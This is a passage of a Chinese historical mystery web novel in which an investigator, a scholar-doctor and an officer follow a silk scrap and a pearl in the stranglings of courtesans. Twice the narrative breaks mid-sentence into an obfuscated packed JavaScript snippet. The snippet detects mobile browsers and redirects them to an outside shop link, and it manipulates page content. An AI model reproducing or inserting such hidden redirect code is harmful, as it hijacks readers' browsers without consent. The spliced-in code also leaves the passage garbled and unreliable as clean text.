“原本装了多少啊,全被塞进……去了吗?”梅淼脸上露出了复杂的表情,“凶手真够狠的。” 秦觅正在沉吟中,就见慕天知偏头看向别处,跟着望过去,便见他从床下的缝隙里,捡起了一小片深色的布料。 “看来昨晚,有贵人来过这里。”镇抚使大人意味深长地说。 10. 零壹拾 那片布料只有半枚铜板大小,被扯得变了形,边缘毛毛糙糙,像是被硬生生拽下来似的。 梅淼弯腰,凑近了端详:“这是凶手行凶时,被死者扯下来的吗?” “看上去是这样,对吧?”秦觅勾了勾唇角。 大姑娘十分意外:“难道不是?布料掉在这里,分明是寒柯被人勒住脖颈之后,双手四处乱抓扯到的啊!” “或许是,但这布料不是动手的那个人身上的。”慕天知站起身来。 梅淼疑惑道:“为什么?” “因为这个料子不便宜,一般只有有钱人才穿得起,而穿这种料子的有钱人,就算到了现场,也不会亲自动手杀人。”秦觅也跟着站起来,从慕天知手里拿过布料,举到阳光明亮的地方端详,若有所思道,“这是夜雾罗,全曜京好像只有孙老爷家的绸缎铺独有。” “孙老爷?包了傲霜公子的那个?”宋喜惊讶道。 秦觅点点头:“正是。” 梅淼忍不住发问了:“你怎么知道?” “罗的织法与别的织物不同,是经线缠在纬线上,织物上形成网状小孔,因此轻薄透气,是夏日最好的衣裳材料。”秦觅把手里的布料递到她面前,“傲霜本人酷爱穿云月罗,白似月轻似云,也是孙老爷家出产,他还送了月临、也就是抱香公子几匹,做了几件衣服。” 梅淼好奇地接过布料,拽开了看它的结构。 秦觅继续道:“夜雾罗,顾名思义,就是夜里的雾气,是似黑非黑、似灰非灰的颜色,更适合孙老爷这种年长者穿着,我从傲霜那里见过一次。”他撩起眼皮看向慕天知,轻笑,“镇抚使大人应当是对这种贵价货司空见惯,所以一眼就能认出来。” 慕天知迎着他的目光,并未作声,像是在思考什么。 “此前我们一直怀疑凶手有两个,一个是杀人的,另一个就是指使者,看来就是孙老爷,不,他叫什么来着?对了,孙昶!”梅淼有一点激动地说,“他跟傲霜之间显然关系非比寻常,因此能表现出那种又爱又恨的情感,上一个现场没有明显的两个人存在的痕迹,他又有不在场证明,或许就是不忍目睹傲霜被杀,特意离开。” 说着猛地一拍小龟公的肩膀,大声道:“宋喜,他跟寒柯之间有过什么矛盾吗?” 宋喜还在盯着她手里的布片发愣,被她猛地一拍,回过神来:“孙老爷吗?几年前确实有过一次争执,他还不是惦记我家公子的身子!我家公子不想做红倌人,孙老爷就送来了很多金银财宝绫罗绸缎,让妈妈来说和,单独相处的时候还对公子动手动脚,被公子打过一耳光!” “耳光!”梅淼立刻道,“这就对了,所以他也要在指使别人杀了寒柯之后,再打对方的耳光出气!对不对,大人?” 慕天知摇头:“不太对劲。” “为什么?!这一切都说得通啊!”梅淼不解。 “就是因为说得太通了。”秦觅苦笑道,“你不觉得这证据发现得太容易了吗?孙老爷那么有钱,可以买凶杀人,为什么还会亲自出现?还穿着自家绸缎庄招牌之一夜雾罗,简直等同于‘孙某到此一游’!” 梅淼据理力争:“因为他要亲手打寒柯耳光出气啊!至于这衣料,虽然只有他的绸缎庄可以卖,但未必只有他穿,光这一点就可以脱罪不是吗?所以他根本不怕!” “这孙昶是什么身份?对竹影阁来说,是贵客中的贵客,寒柯打他一耳光,他当场就能打回去,没必要隐忍几年到这时候再来报复。”慕天知淡淡地说,“如果还不满意,他完全能买下寒柯,找个破烂院子关起来使劲儿折磨泄愤,以寒柯的身份,告去什么官府都没人会过问。况且,以我来看,孙昶并不是一个睚眦必报、心理极度变态的人,他包了傲霜,感情不错,应该早就不在乎这件事了,跟一个小倌计较,只会让他觉得跌身份。” 心理极度变态?是指情志思绪有悖常理吗? 秦觅敏锐地发现了慕天知与众不同的用词,觉得这个说法很有意思。 宋喜跟着补充道:“孙老爷除了好色之外,人还不错,那次被打了耳光,倒也没打回去,只是让公子跪下给他斟茶认错,但从那之后就再也没来我们这儿了,不管妈妈怎么招呼,都不再进竹影阁的大门。” 秦觅点点头:“被伤了面子,这个反应是正常的,生意人讲究和气生财,不会自降身份跟小倌过不去,也就到此为止了。况且他很快就包下了同样被选为院首的傲霜,算是出了气,找回了面子。” “啊?那我们就不问他了吗?”梅淼显然还有些不甘心。 慕天知向外走去:“当然要问,现在我们去东篱院,看看傲霜的房间,再找陈茂问话,他应当对孙昶更熟悉。” 梅淼跟在他身后,看着手里的夜雾罗,不解地说:“那这东西到底为什么会出现在这里?” “应该是幕后真凶怕官府猜到凶手会有两人,故布疑阵。”秦觅道。 慕天知偏头觑他:“你又猜到了真凶的想法?” “既然是猜,不妨大胆一点。”秦觅莞尔道,“我甚至觉得,下一步,这位指使者,可能要抛开他用得趁手的这把刀呢!” 慕天知冷笑:“秦秀才,我劝你少这么大胆,免得又被你说中,北镇抚司还得把你拉去好好审问。” “那就希望下次镇抚使大人别突然袭击,屡次被您撞见在下衣衫不整,在下也很难为情。”秦觅冲他露出了假笑。 梅淼敏锐发现问题所在:“屡次?还有哪次?” 不约而同想起一些旧事的两名男子互相对视一眼,迅速把目光移开。 东篱院跟竹影阁挨得很近,几乎就是一墙之隔,两个院子中间只有一条很窄的小路。 从路口经过的时候,秦觅看到有两只猫一前一后地匆匆跑过,跳上东篱院的墙头,接着跳进院子。 慕天知见他看得专注,忍不住跟着望过去,却没看到什么,问道:“有发现?” “没有,刚看见两只猫,一只白猫,一只狸花。”秦觅道。 “喜欢猫?” 秦觅笑笑:“还好,偶尔会喂一喂。” 慕天知随意往别处一看,又看到一只黑猫窜上了东篱院的院墙。 “这里猫很多吗?”他问道。 秦觅缓声道:“比别的地方多一些,毕竟这里饭馆酒肆不少,会有些丢出来厨余残渣,姑娘小倌们也常常喂它们,以便有老鼠的时候请它们来捕鼠。傲霜就很爱猫,经常会亲自出来喂。” “那他怎么不养一只?”梅淼跟着问道。 秦觅笑笑:“养在自己的房间里,抓伤了客人就不好了。” 随便聊了几句,三人来到了东篱院。 这里案发已经过去了几天,就算有什么痕迹也都被顺天府调查完了,只留了几个官兵潦草看守。 由于第二桩命案的发生,此处更是冷清。 走到后院,他们就又看到了两只猫从面前跑过,一只三花,一只黄狸花。 “怎么都跑这儿来了?”梅淼好奇,“大白天的它们也要开会吗?” 秦觅往不远处院墙脚下指了指:“陈茂在那儿喂猫呢。” 陈茂,也就是照顾傲霜和月临饮食起居的龟公,此刻正被一群猫咪围在中间,猫儿们一改平日里见人就跑的样子,对他亲热得很,一个个尾巴竖得高高的,在他的腿边蹭来蹭去,“喵喵”叫个不停。 “别急别急,马上就给你们!” 他把手里的小碟子一字排开,用大勺从一个大点的瓦罐里舀出看起来稠乎乎的肉粥,挨个儿盛在碟子里,猫咪们立刻乖巧地一猫一碟,低着头开始嗷呜嗷呜地舔食。 梅淼看得有趣,感叹道:“哇,还没见过这么喂猫的,它们看起来好乖!” 陈茂听到声音,转过身来看到他们,立刻低头行礼:“见过两位大人、秦大夫。” “怎么这会儿喂猫?”慕天知问道。 看似闲谈,但他身上那股不怒自威的长官气势还是有点吓人。 陈茂垂着头不敢抬:“闲来无事,就煮了肉汤泡饭喂喂它们。傲霜公子走了的这几天没顾上喂,怕它们饿着。” “不至于吧,它们也会自己找吃的不是吗?”梅淼蹲在一只三花旁边,小小心地摸了摸它的脑袋,猫咪吃得正开心,也仿佛是跟人比较亲近,并没有在意,仍旧顾着大快朵颐。 “是,我们不喂别人也会喂,其实就是……寄托哀思吧。”陈茂语调忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427048|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤地说。 秦觅知道傲霜生前很照顾这群猫,陈茂这么做显然也是为了让他在天之灵能够安息,便温声安慰道:“节哀。” 慕天知抬头看了眼四周,问道:“猫怎么知道这时候来有吃的?你都是这个时间喂?” “不是,是先前煮肉汤的时候被经过的虎威将军闻着了,它会告诉自己的同伴。”陈茂指了指最中间一只威武的狸花猫,“它是最聪明最通人性的。” 秦觅跟慕天知介绍:“这只是傲霜最先喂的,跟他们比较熟悉。” “好威风的名字!”梅淼想摸的手伸出去,又讪讪地收回来,“长得也威风,果然是老大,难怪只有它戴着铃铛。” 慕天知又问:“铃铛是傲霜给它的?” “正是。”陈茂老老实实地回答。 “那你们可知,猫这种生物的听力比狗还要灵敏,挂铃铛对它其实是种折磨?”慕天知冷淡道,“也不利于它夜间潜行和捕猎。” 陈茂连忙道:“知道的,所以公子特意把铃心取下,只留一个空壳,走起路来不会响。” 梅淼感叹:“傲霜真是个爱猫之人。” “看不出大人对猫的习性还颇有研究。”秦觅看向慕天知,略有些调侃地说。 慕天知莞尔:“一些查案的经验罢了。” 猫咪们很快吃完了盛宴,不约而同地坐在原地洗脸,那只叫“虎威将军”的狸花最先洗完,转头轻巧地几步就跃上了院墙,很快消失在了墙头。 其他几只猫也跟着纷纷离去,看起来场面还挺壮观。 “果然没声儿诶!”梅淼仰头看着,调侃地笑,“吃完就走,太没良心了。”回头对陈茂说,“喂不熟还要喂?” 陈茂笑笑:“猫虽然面上不显,心里还是记着的,没事儿都会过来巡逻几趟,东篱院这边几乎很少闹鼠患,都是拜它们照顾。” 慕天知打算进入正题,向梅淼使了个眼色。 梅淼立刻会意,从怀中取出方才那片夜雾罗的碎片,举到陈茂面前:“这个,你认识吗?” “这料子……”陈茂接过布料,仔细端详,眉头微微皱起,然后看了眼秦觅,表情唯唯诺诺,似有为难之意。 秦觅知道他肯定认得出来,便鼓励道:“实话实说,不管你说什么,大人都会再去调查,不会冤枉任何人。” 陈茂便像是没了顾忌,立刻道:“是孙老爷的夜雾罗。” “你确定?!”梅淼这清秀漂亮的大姑娘横眉立眼时也颇有都衍卫的霸气,“如何随便一看就能认得出来?” 陈茂恭敬地双手把布片还给她,低头道:“小的伺候傲霜公子和月临公子,月临公子评院首之前只卖艺不卖身,没有留宿的客人;傲霜公子只接待孙老爷,是以孙老爷有些衣袍是由小的亲自打理,夏日炎炎,他只爱穿这一款夜雾罗制成的衣袍,直裰、道袍都有好几件。小的知道他身上穿的料子贵,从不敢怠慢,每次都认真整理,是以记得很清楚,而且,昨晚他返京后来东篱院想看望公子,穿的就是这个料子。” 顿了顿又补充道:“当然,这布料是来自夜雾罗,小的倒也不能笃定是不是孙老爷所穿的那件,可能是他店里卖出去的。”紧张地吞了吞口水,颤巍巍地抬头看看秦觅,“不知这碎布是、是从哪发现的?” “这就不能跟你说了。”梅淼把布片塞回怀里。 慕天知双手抱在胸前,面无表情地问道:“孙昶跟傲霜的关系怎么样?往来频繁吗?最近有没有争吵?” “孙老爷对公子很好,嘘寒问暖,也很关心他,公子也一心一意服侍孙老爷,从不会恃宠生娇,两人关系自是好的。”陈茂低着头回话,“孙老爷经常过来,一个月至少要来个十一二次,不一定过夜,过来跟公子聊聊天,听他唱曲什么的。公子是不会跟孙老爷争吵的,他不想得罪孙老爷,还想着孙老爷能给他赎身,搬出东篱院,永远不用再伺候别人。” 他个子矮,还没有梅淼高,这会儿低着头说话,慕天知只能看见他头顶的发髻,看不见表情,很难判断此话真伪。 正在沉吟时,却听旁边的秦觅疑惑地问:“是吗?我怎么记得,就在半个月之前,因着赎身之事,傲霜还跟孙老爷吵过一架?” 11. 壹拾壹 得知傲霜跟孙老爷争吵过,慕天知和梅淼的表情同时严肃了起来。 这性质可就不一样了。 有动机,有物证,就算方才推断孙昶出现在杀人现场不太合理,也必须先把人列为凶嫌进行详细调查。 陈茂也慌忙抬头,看向秦觅,表情慌乱地说:“吵、吵过吗?我、我不知道,可能公子没告诉我。半个月之前,月临公子忙着选院首的事,我精力全在他那边……” “别慌,不知道也没什么,这不是有我在吗?”秦觅温和地笑了笑,“幸好我常过来跟他们谈心,他们也愿意向我敞开心扉,这次争吵并不算严重,可能他不想你担心,所以没有跟你提起。” 慕天知追问道:“孙昶不肯给傲霜赎身吗?还是家中主母得知,不允许发生这样的事?” 若是后院起火,那值得怀疑的人可就多了。 “大人莫急,听我慢慢道来。”秦觅莞尔道,他看了看不远处两人几天前“对峙”的凉亭,指了指道,“不如我们过去那边细说?陈茂也来,我们互为补充。” 慕天知总觉得这秀才笑眯眯的,话说一半藏一半,心机恁多,讨厌倒是不讨厌,就是觉得他好像有意在牵着自己鼻子走,总是时不时挑起他的胜负欲。 但为了查案,他一点头,认可了这个提议。 凉亭里石桌旁正好有四个座位,秦觅、慕天知和梅淼都大大方方坐下,只有陈茂战战兢兢不敢坐。 “坐吧,大人没什么架子,他是来问话的,又不是来审讯的。”秦觅笑着拉了拉他的袖子。 见陈茂还有点哆嗦,慕天知干脆道:“本官命令你坐下!” 陈茂两股战战,依言坐在了他的对面,表情依旧紧张。 “其实赎身这事儿,本来应该是板上钉钉的。”秦觅道,“傲霜自己存了些钱,足够他赎身,孙老爷那边倒也没有推脱,他一个大富商,掏个三四千两赎身银并不是什么难事。虽然金屋藏娇并不光彩,但孙老爷并不做官,也就肆意了些,孙家主母认为男外室对她的威胁不大,为了哄住自家相公,睁一只眼闭一只眼罢了。” 梅淼好奇道:“那为什么一直没能赎身呢?难道这里的老鸨狮子大开口?可傲霜做院首是好几年前的事,这几年他没跟别的客人来往过,其实早没什么名气了,赎身价应该没有之前高。” “老鸨当然不会坐地起价,这些年她在傲霜身上赚得够本。问题出在傲霜身上,是他想靠自己的本事赎身,清清白白地离开。”秦觅道。 忽而他就想起了那个喝酒谈心的夜晚,那个一生苦命的男子脸上挂着两团红云,有些不好意思地跟自己说的那些心里话。 他托着腮,神情像是个娇羞的少女,低声道:“我对他,同女子对相公,没什么不同,我也想一心一意与他好好过日子,哪怕没有任何名分。” 满腔真情,绝不掺假,澄澈得令人心疼。 秦觅垂眸道:“傲霜不想再做别人的附庸,他想用这些年攒的钱赎身,剩下的一点钱,跟孙老爷学做生意,以此谋生。” “他怕不是对孙昶动了真心?”慕天知的声音听起来很冷。 秦觅撩起眼皮看他:“怎么?镇抚使大人是不相信小倌会动真心,还是不相信两个男人之间有真情?” “两个男人之间当然有真情啊!历史上那么多逸闻佳话。”梅淼插嘴道,“现在不也男风盛行吗?这么多南风馆,没听说要取缔。” 慕天知并没有避开秦觅的眼神,而是直直地回看着他:“男风盛行,并不代表礼制就能接受,男宠也好,小倌也罢,不过是一种上位者对下位者的剥削,孙昶并不会像看待自己正妻那样看待傲霜——我并不质疑傲霜对他是真心真意,但他对傲霜,却不能用真情来形容。” 听他这一番话,秦觅觉得颇为有意思:“大人觉得怎样才算真情?” “至少两个人是真正平等地看待彼此。”慕天知不假思索地说,“否则这所谓的感情永远有附加条件。” 秦觅回味着他的话:“平等?” “对,在我看来,这是最基本的条件。”慕天知也觉得自己莫名交浅言深,不打算再说。 秦觅笑了笑:“果真是听君一席话胜读十年书,想必大人将来娶妻后,与妻子真正平等看待彼此,琴瑟和鸣、天长地久。” 坐在他对面的梅淼突然笑了起来:“哈!我们大人可是个老大难,北镇抚司的苍发少阎罗,曜京第一鬼见愁,每天忙着抓人不着家,人长得再好也没用,姑娘们嫌他血腥味儿重,对他都敬而远之,二十四了还没说上亲,国公老爷和国夫人都急坏了!陛下说,实在不行给他指个公主,公主们一听,都轮番跑到他面前哭,死活都不嫁——” “跑题了。”慕天知以指节叩了叩石桌,给了她一个“你是不是嫌命长”的眼神。 活泼的大姑娘讪讪地闭上嘴,低着头使劲儿憋笑。 看着面前镇抚使大人面无表情的样子,秦觅仿佛看到了他内里抓狂的另一面,被自己想象出来的画面逗乐了。 接着就听到了对方用以警告的干咳声。 “不管你怎么看待他俩的感情,反正傲霜是出自一片真心,孙老爷却觉得,如果让他出钱,就显得自己面上无光,坚决不肯。”秦觅收敛住笑意,继续道,“因此两人发生了争吵,那晚两人不欢而散,孙老爷拂袖而去,表示如果他一意孤行,那两人便再无瓜葛!” 慕天知冷笑道:“这傲霜,坚持自己赎身,不用再把卖身契交到别人手里,就是想同孙昶建立平等的关系,算是有骨气的人。但孙昶……我觉得不是为了面子,而是不想失去对傲霜的掌控。” “他怎么可能容忍一个南风馆的小倌儿自此独立?将来万一不受自己控制怎么办?两人间没有金钱牵制,没有婚书捆绑,若他腻了倒是容易脱身,可一旦傲霜生了二心,离他而去,岂不是让他丢人丢到家了?!” 梅淼托着腮,不爽地说:“真是对人对己两套规矩!” “我与大人想法一样。”秦觅叹息道,“或许我与傲霜走得近,感情上站在他那边,但古往今来,多得是痴情的青楼姑娘和小倌,少的是真心真意的欢场客。” 梅淼迫不及待地问:“那后来呢?傲霜既然有赎身的钱,那他赎身好了,没必要在乎孙昶怎么想,难道他是担心赎身之后没钱傍身,没法生存?” “有这个担心,但并不足以撼动他为自己赎身的决心。孙老爷那天虽表现得决绝,但后来还是来找他,两人很快和好,暂时没再提赎不赎身的事。”秦觅道,“傲霜不想再为这件事和他吵架,而是想等自己偷偷赎身之后再说,谁知计划被耽搁了,他的钱借给别人周转,得等对方还了才行。” 慕天知问道:“他被人骗了?” “倒也不算,具体他就没再细说,谁知刚借出去不过十天的时间,就出了事。”秦觅说完,看看旁边的陈茂,“这些你真的不知道?” 陈茂红着眼圈,轻轻摇了摇头:“他没跟我说……我什么都不知道……” “无妨,可能他不想让你担心。”秦觅轻轻拍了拍他的肩膀。 慕天知沉吟片刻,站起身:“去傲霜房间看看。” 其他三人立刻起身,陈茂弓着腰小跑去他前边带路。 与隔壁竹影阁满是都衍卫的“热闹”相比,这里一片死气沉沉,院子里没有人乱跑,只有几个看着不怎么靠谱的护院溜达,其他人都待在自己的房间里。 一行人上到三楼,经过走廊时,才能看见几个好奇从房门探头张望的脑袋,还有几声窃窃私语: “秦大夫也来了?他不是被都衍卫带走了吗?” “听说他说中了寒柯的死法,怪吓人的。” “我才不信他是杀人凶手,他哪有那把子力气!” “他陪镇抚使大人过来,是当证人吗?” “镇抚使大人实在英俊,这孔武有力的,想必床上一定威武。” “要死了你!天热忍不住发骚是吧?几天没客人来你闲得难受?” “小声点!” 秦觅循声向他们望去,那几颗脑袋就迅速从门口缩了回去。 再转头看向身边的慕天知,镇抚使大人神情自若,仿佛暂时性耳聋,感知到他的眼神,立刻威严与他对视,像在强调自己是正人君子。 秦觅避开他的目光,低下头,微微勾了勾唇角。 傲霜房间外守着两个都衍卫,见上官过来,立刻推开了房门,恭敬行礼。 “也挺整齐的,看不出什么异样。”梅淼先进了门,张望一圈,“跟寒柯那边差不多。” “案发那天就是这样,屋内本来就没什么痕迹。”秦觅对慕天知道,“那日我发现傲霜出事,立刻过来查看过,但什么都没动。” 慕天知点点头,率先走到床边,挑开依旧散落着的床帐往里看。 床上被褥乱作一团,有明显激烈挣扎过的痕迹,符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427049|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合死者是在此处被勒死的状态。 他弯下腰,开始仔细在床头摸索。 秦觅知道他在找什么,也从床尾开始一寸寸摸过,再蹲下查看床底。 陈茂在后面忧心地问:“要我帮忙吗?” 梅淼查看着其他地方,随口应他:“不用,待着吧。” 床下本来就暗,又有一块镂空的挡板,什么都看不分明,秦觅跪在地上,趴低身体,艰难把手伸进去摸索了一遍,没有任何发现。 没有是对的,毕竟是顺天府搜索过的房间,他没多想,收回手蹲了起来。 旁边的慕天知也没有收获,低头看他没有发现,便走去别的位置。 当他一走开,有一点微弱的光线照过来,还没来得及站起身的秦觅眼角余光一亮,立刻扭回头,眼睛死死盯住床下。 他连忙道:“陈茂,点蜡烛!” 陈茂立刻从腰间的小袋子里取出一支火折子,吹着了点亮小几上的蜡烛,把烛台端了过来。 有光便容易了,在挡板的花型镂空当中,清楚地看到床角一侧有个小东西。 他伸长胳膊,奋力把它扒拉到手里,站起身的时候鼻尖已经冒了汗。 “珍珠?”梅淼凑过来看。 秦觅把珍珠托在掌心,用手指拨了拨,露出了被打磨过的底面:“打过孔,应该是镶嵌在什么东西上边的。” 慕天知捏起这珍珠,反复端详,转头问陈茂:“傲霜有什么装饰品或者衣服镶有这种珍珠吗?” “没有。”陈茂端详了之后回答。 慕天知目光炯炯地盯着他:“如此肯定?” “公子的衣服都是我在打理,没有一件镶嵌珍珠,他不怎么戴首饰,又不像女子会佩戴珠钗,镯子多是素金素银,很少镶宝石。”陈茂走到一个大柜子旁边,将门拉开,“衣服都在这里,首饰在那边桌上的妆奁盒里,大人尽可以检查。” 慕天知向梅淼示意,梅淼点了一下头,先从妆奁盒查看起。 秦觅则直接向陈茂问道:“这会是孙老爷衣服上的吗?” “孙老爷向来穿得华丽,身上的确经常会有珠玉饰品,但其他来偶尔拜访的公子也会有,人命关天,小的不敢笃定是孙老爷的。”陈茂非常谨慎地回答,“毕竟这不像夜雾罗那么明显。” 慕天知跟着问:“那你是否能确定,这东西是什么时候掉在这儿的?” 陈茂便低头不语了。 “你是不是有答案了?说吧。”秦觅温声道。 “小的认为,是命案发生后掉在这儿的。”陈茂怯生生地说,“傲霜公子爱干净,室内每日都要打扫到地板可以赤足行走不见灰尘才行,虽然是床底下这种犄角旮旯的地方,但小的也是趴在地上,先用扫帚伸进去清扫,再用竹竿推着湿抹布进去擦两遍,如果有东西在里头,不管多小,肯定都能扫出来。” 秦觅抬起自己的手肘看了看,展示给慕天知:“虽然隔了几天,依旧不怎么脏,看来之前确实擦得很干净。” “当天早上,你们还有谁进来过这个房间?”慕天知看看他的衣袖,又看看陈茂。 陈茂连连摆手:“没有了!发现公子的尸体在外边,谁也没敢再进这个房间!” 慕天知看着手里的珍珠:“这么说来,九成九是那位幕后指使者掉在这里的。” “大人,衣物和饰品都检查过了,正如陈茂所说,均没有珍珠装饰。”梅淼禀告道。 慕天知点点头:“好。” “我们是不是该跟这位孙老爷聊两句?”秦觅提议道,“两位窦大人虽然可能已经去了,但他们并不知这里有最新发现的线索。” “是要去。”慕天知带头离开了房间。 时值正午,正是饭点儿,虽然早上吃得晚,但秦觅吃得不多,再加上这一上午脑子转得飞快,此刻已经有点饿了。 跟在慕天知身侧的时候,胃里还咕噜了几声,怕被听见,他还欲盖弥彰地用手捂了捂。 走到门口,慕天知接过下属递来的马缰绳,转头却对他说:“秦秀才请留步,北镇抚司查案,不用外人参与。” 秦觅:“!!” 过河拆桥?! 看他被自己的话噎住,估计满脑子都塞满了骂人的话,却碍于书生的修养没往外说,把自己憋成个大眼蛙的模样,慕天知心中暗爽。 他唇角微微上扬,露出个坏笑:“能体验半日,秦秀才该知足了。” 12. 壹拾贰 这人真是坏透了! 秦觅确实很想骂慕天知,也不在乎什么北镇抚司的官威,但也此人的确拿住了自己的七寸。 如果自己在这里图一时爽,把镇抚使大人喷得满脸口水,恐怕这案子真跟自己没什么关系了。 没办法,谁让人家才是官老爷呢,自己一介白身,想参与查案,确实名不正言不顺。 梅淼去牵马,没在跟前,替慕天知牵来马的校尉把缰绳交出去之后就主动退远了些,没往他们这边看。 那就豁出去了! 谁让镇抚使也好男色呢! “不能通融一下吗?”秦觅参考平日小倌们撒娇的做派,轻轻拽了一下慕天知的袖管,压低嗓音,尽可能让声音从鼻子里走一遭,“求你了。” 慕天知:“……” 这就是传闻中的天赋型选手? 声音不算绵软,夹得恰到好处;态度不算做作,娇得浑然天成,对于一个男人而言,算是把“撒娇”这个词诠释得恰如其分,并不引人反感。 再看那诚恳的、看上去无辜至极的眼神,还有一点受用。 但此人心机甚多,必须提防! “不行。”慕天知冷淡道,“查案多有危险,请秦秀才莫给北镇抚司徒增负担。” 秦觅还想再软磨硬泡,就听不远处传来了马蹄声:“大人!” 循声望去,是窦乾窦坤兄弟,两人下马,一同对慕天知拱手行礼。 窦坤这个心直口快的,立刻竹筒倒豆子般地汇报:“禀大人,我俩刚从孙昶府上回来,他是昨天返京,晚上直接来找傲霜,来了胭脂巷才知道对方被杀身亡,当即悲痛欲绝,说是一晚上都没有睡好,要我们一定查出真凶。” “昨晚几时回来,可有人证?”慕天知问道。 窦乾点头:“有,他大约是亥时左右抵家,除了家人和随从能证明,路上经过琉璃街的时候,还跟一个叫花子起了冲突。” 秦觅插嘴道:“这是为何?” “说是那叫花子常在那边乞讨,是个老赖皮,见他马车富贵,便上前拦车讨要银钱。”窦坤回答,“孙昶丢了些铜板给他,那人嫌少,拦着车不让走,孙昶刚得知傲霜死讯,心中正难过,当下便生怒意,让手下把钱从叫花子手里抢了回来,扬长而去,这事儿周围的人都看见了。” 窦乾拱手道:“大人,我们觉得孙昶应该同本案无关。” “那可未必哦。”牵马过来的梅淼神秘地对他们笑笑,“我们查到了新线索。” 窦家兄弟还没来得及问是为什么,慕天知先道:“昨晚后半夜下雨之时,可有人能证明孙昶在家?” “这个……我们没问。”窦乾道,“孙昶与他正妻早就分院而居,他说他昨晚一个人伤神至凌晨才睡,左右应该没人。” 窦坤疑惑地问:“难道孙昶有嫌疑?” 慕天知翻身上马:“说不准,随我再去问问。”他低头看着旁边的秦觅,“多让你听到了一些,总该满足了吧?秦秀才,人要知足常乐。” “我又不是为了我自己,我是帮你啊!多一个人就多一分力!”秦觅看着他调转马头,连忙道,“大人,眼下情况紧急,你就不怕晚一天破案,会多伤一条人命吗?!” 慕天知没再搭理他,一夹马腹,冷酷无情地带着三人策马离去。 秦觅无奈地目送他们的身影离开,突然踟蹰,不知道该去哪里好。 怅然若失地回头,看到不远处局促地站着的陈茂,便上前问了一句:“月临还好吗?” “不太好。”少阎罗走了,陈茂看起来自在了许多,摇摇头道,“本来好一些了,今天早上得知寒柯公子的死讯,又开始担惊受怕,既为两位公子难过,又怕凶手拿他这个刚当选的院首开刀。” 秦觅这会儿不想回家,怕自己坐不住会胡思乱想,便道:“我去陪陪他。” “正好可以劝他吃点东西,这两天他都没怎么进食。”陈茂说。 秦觅对他笑笑:“好啊,正巧我也饿了。” 又走了几步,陈茂说:“方才大人们说的那个叫花子,我能猜到是谁。” “你知道?”秦觅好奇道,“说是老赖皮,附近住户是不是都认识?” 琉璃街挨着胭脂巷很近,但自己并不常去,不记得有这么个人,也可能恰好没碰上。 陈茂点头道:“是啊,那人叫张四,看上去是叫花子,实际上是地头蛇,才四十出头,又没有残疾,不去找份工做,偏偏一天到晚在那片儿溜达,死皮赖脸要钱。有时候还会对过路的女子说些难听话,欺负一些流浪的小孩、老人还有傻子,总之讨厌极了,正经人都懒得跟他计较,远远看见了就只能绕着走。” 许是真的很烦此人,他越说越气,颇有几分义愤填膺。 “这样的人,顺天府不管吗?没人报官?”秦觅不可置信道,“我以为曜京的治安还不错。” 陈茂无奈:“这种人没犯法,没有名目抓他,关不了几天就放得放出来,官府懒得管。他也机灵得很,看到巡逻的官差就躲起来,要是谁报官让他知道,他出来以后肯定找对方的麻烦,附近的人不想得罪他,就只能这样了。” “确实是麻烦。”秦觅也想不出什么好办法,小时候他们家附近也有这种难缠户,就像那种身上治不好的癣,春风吹又生,实在惹人烦。 陈茂跟他说了两句,转头往厨房那边去,他便回到了小楼里,去了抱香公子月临的房间。 “觅哥!”前几天还骑在高头大马上神气游街的少年明显面色欠佳,一脸菜色地扑进了他的怀里,恹恹地说,“你没事就好,早上我听说镇抚使大人亲自去你家,把我吓得不知道该怎么办好,方才看见你安然无恙才放心。” 秦觅拍了拍他的后背,故意促狭道:“就这么相信我?不怕我真是杀人凶手?” “你这样手无缚鸡之力,怎么可能是凶手!”月临松开他,带他到榻上坐下,“再说,只有你是真心真意待我们好,不可能杀我们。” “不会觉得我是不祥之人吗?我跟傲霜关系不错,昨夜又刚跟寒柯长谈过,可他俩都没了命。”尽管并不信邪,但此事太过巧合,秦觅也免不了往自己身上联想。 何况,父母当年也是因自己而死。 月临摇摇头:“你哪里不祥?若论关系,东篱院和竹影阁挨得这么近,我们这些人相互之间处得都很好,彼此之间也有往来——就比如说我吧,我的琴刚借给傲霜哥哥,他就出了事,寒柯哥哥刚把他的琴借给我,他也出了事,我看最不祥的是我!” 少年嘀嘀咕咕,小声道:“恐怕下一个要出事的也是我。”说罢又故作洒脱地叹口气,“无所谓,死就死吧,听说一下子被勒死,也不会很痛苦,死后对我做什么我都感觉不到了。早死早投胎,下辈子至少能做个清白之人。” “别胡思乱想。”秦觅拉过他的手腕号了号脉,温声道,“酷暑本就难熬,又忧思过多,还不吃东西,怎么能不伤身体?别仗着年纪轻就不把自己当回事。” 月临噘着嘴,无所谓地说:“再把自己当回事又能怎么样,我还不是别人眼里的小玩意儿。这两天胭脂巷不肃静,那贾老爷也不来了,我倒是乐得歇两天,可之后呢?万一他再也不出现了怎么办?活着就得担心以后的事,还不如死了轻松!” 秦觅绷起脸:“再说这种丧气话,我可给你刮痧去去火气了。” “不说了不说了,嘿嘿。”月临怕疼,立刻缩回手去,抱住膝盖坐在榻上,身上衫子薄,他骨架生得小,又瘦,看上去只有那么小小的一点儿。 看着他这惹人怜爱的模样,想想那年近半百、肥头大耳的贾老爷,秦觅只觉得这真是作孽。 